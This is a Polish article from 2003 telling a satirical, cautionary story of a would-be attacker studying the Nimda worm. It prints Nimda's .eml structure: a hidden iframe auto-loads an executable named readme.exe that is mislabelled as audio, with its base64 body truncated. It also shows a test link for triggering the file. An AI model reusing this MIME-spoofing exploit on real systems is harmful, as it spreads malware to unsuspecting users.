Atak na sieć dużej firmy czyli o tym, jak Jaś Wannabe w złych celach z Internetu skorzystał
- Adam E. Patkowski,
- 07.02.2003
<a href="/htr/IE5Test-cmd.eml">Tak, chcę wykonać test</a>
Cała reszta strony, jakkolwiek pouczająca, nie ma dla testu znaczenia. Naprawdę istotne jest odpowiednie spreparowanie pliku z rozszerzeniem .eml. Jaś nacisnął więc prawy przycisk myszy po wskazaniu łącza i wybrał "Zapisz element docelowy jako...", co pozwoliło mu zapisać plik o nazwie "IE5Test-cmd.eml" i zobaczyć, co zawiera.
Zawartość IE5Test-cmd.eml dała Jasiowi do myślenia - dzięki starannemu wykształceniu, wyniesionemu z podstawówki, potrafił odróżnić polecenia DOS-u od reszty. Poza tym kiedyś komputer Jasia, udostępniający niektóre katalogi całemu światu (Jaś lubi muzykę i używał wówczas Napstera) o mało nie padł ofiarą robaka Nimda: w udostępnionym katalogu znalazł się plik z rozszerzeniem .eml. Gdy Jaś, jako rasowy użytkownik Windows, kliknął ten plik dwukrotnie, zadziałał program antywirusowy, ale jakby z opóźnieniem. Jaś wysnuł stąd słuszny wniosek, że interwencja antywirusa nastąpiła dopiero po wypakowaniu jakiejś głębiej zagnieżdżonej zawartości pliku .eml. Jaś zajrzał teraz do zachowanego pliku Nimdy i nagle coś mu zaświtało: gdyby wywołanie ze strony WWW dotyczyło pliku z Nimdą, to czy usiłowałby się uruchomić zapisany w nim program? Zrobił szybko plik test.htm z jednym tylko istotnym wierszem:
<a href="nimda.eml">sprawdz</a>
wyłączył antywirusa i zaryzykował kliknięcie sprawdz. Podobnie jak w wypadku testu, jego Internet Explorer w wersji 6 zasygnalizował, że Format dokumentu jest nieprawidłowy lub nieobsługiwany. A zatem wcześniejszy IE5 zapewne uruchomiłby ten program.
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====_ABC1234567890DEF_===="
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="
--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--
--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>
TVqQAAMAAAAEPAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA
[tu wycięto znaczny i zupełnie niezrozumiały fragment pełen podobnych znaków]
AAA=
--====_ABC1234567890DEF_====
Podobieństwo początkowych zaklęć w plikach Nimdy i testu było uderzające, ale jeszcze bardziej uderzało podobieństwo obszaru niezrozumiałych znaczków do zawartości listu, który Jaś otrzymał kiedyś od kolegi, a zawierającego program (z rozszerzeniem .exe). Jaś podejrzewał, że ma to coś wspólnego z tekstem "base64" pojawiającym się w zaklęciach początkowych, ale działał już jak w natchnieniu: wysłał sobie pocztą jakiś zupełnie nieistotny, króciutki program. Jak się spodziewał, jedyna jakościowo istotna różnica leżała w okolicy obszaru nieczytelnych znaków: